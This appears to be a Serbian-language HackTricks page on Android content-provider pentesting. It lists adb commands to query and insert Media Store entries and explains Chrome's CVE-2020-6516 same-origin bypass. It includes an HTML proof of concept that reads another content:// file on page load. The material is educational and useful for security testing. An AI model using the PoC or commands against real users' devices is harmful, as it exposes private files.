hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

5.9 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

{% embed url="https://websec.nl/" %}

Ovo je sažetak posta https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Listing Files in Media Store

Za prikazivanje fajlova upravljanih od strane Media Store-a, može se koristiti sledeća komanda:

$ content query --uri content://media/external/file

Za prikazivanje prijateljskijeg izlaza, prikazivanje samo identifikatora i putanje svake indeksirane datoteke:

$ content query --uri content://media/external/file --projection _id,_data

Pritup do pružalaca sadržaja u Chrome-u

Chrome na Androidu može pristupiti pružaocima sadržaja putem šeme content://, omogućavajući mu pristup resursima poput fotografija ili dokumenata izvezenih od strane aplikacija trećih strana. Da bismo to ilustrovali, datoteka može biti ubačena u Media Store i zatim pristupljena putem Chrome-a:

Ubacite prilagođeni unos u Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Otkrijte identifikator novoumetnutog fajla:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Datoteku možete pregledati u Chrome-u koristeći URL konstruisan sa identifikatorom datoteke.

Na primer, da biste prikazali listu datoteka povezanih sa određenom aplikacijom:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Bypass pravila o istom poreklu

Same Origin Policy (SOP) je sigurnosni protokol u pregledačima koji ograničava web stranice da komuniciraju sa resursima sa različitih porekla osim ako eksplicitno nije dozvoljeno politikom deljenja resursa sa različitog porekla (CORS). Ova politika ima za cilj da spreči curenje informacija i krivotvorenje zahteva sa drugih sajtova. Chrome smatra content:// lokalnom šemom, implicirajući strožija pravila SOP, gde se svaki URL lokalne šeme tretira kao zasebno poreklo.

Međutim, CVE-2020-6516 je bio propust u Chrome-u koji je omogućio zaobilaženje pravila SOP za resurse učitane putem content:// URL-a. U suštini, JavaScript kod sa content:// URL-a mogao je pristupiti drugim resursima učitanim putem content:// URL-ova, što je predstavljalo značajan sigurnosni problem, posebno na Android uređajima koji koriste verzije pre Android 10, gde nije implementiran ograničeni prostor za skladištenje.

Dole navedeni dokaz koncepta demonstrira ovu ranjivost, gde HTML dokument, nakon što je otpremljen pod /sdcard i dodat u Media Store, koristi XMLHttpRequest u svom JavaScript-u da pristupi i prikaže sadržaj druge datoteke u Media Store-u, zaobilazeći pravila SOP.

Dokaz koncepta HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: